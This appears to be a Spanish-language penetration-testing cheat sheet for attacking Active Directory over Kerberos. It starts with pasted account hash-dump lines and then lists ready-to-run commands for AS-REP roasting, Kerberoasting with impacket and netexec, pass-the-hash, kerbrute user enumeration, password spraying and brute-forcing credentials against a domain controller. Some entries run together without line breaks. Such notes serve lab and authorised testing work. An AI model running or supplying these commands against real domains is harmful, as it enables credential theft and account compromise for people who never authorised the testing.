*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::# AS-REP Roast desde impacket-GetNPUsers
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roast a través de impacket-GetNPUsers y un bucle while
while read username; do impacket-GetNPUsers dominio.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null
# AS-REP Roast a través de netexec
netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt# Kerberoasting Attack a través de impacket-GetUserSPNs autenticación básica
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación de Kerberos (disponer de ticket TGT en KRB5CCNAME)
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting Attack realizando PassTheHash
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null
# Kerberoasting Attack a través de netexec
netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt# Fuerza bruta para enumerar usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt# Password spraying sobre una contraseña contra un listado de usuarios
kerbrute passwordspray -d dominio.htb --dc dc.dominio.htb users.txt 'password'
# Brute Force con un listado de usuarios y contraseñas. Listado en formato --> usuario:password
kerbrute bruteforce -d dominio.htb --dc dc.dominio.htb userspasswords.txt
# Brute Force sobre un usuario con un listado de contraseñas
kerbrute bruteuser -d dominio.htb --dc dc.dominio.htb passwords.txt 'user_target'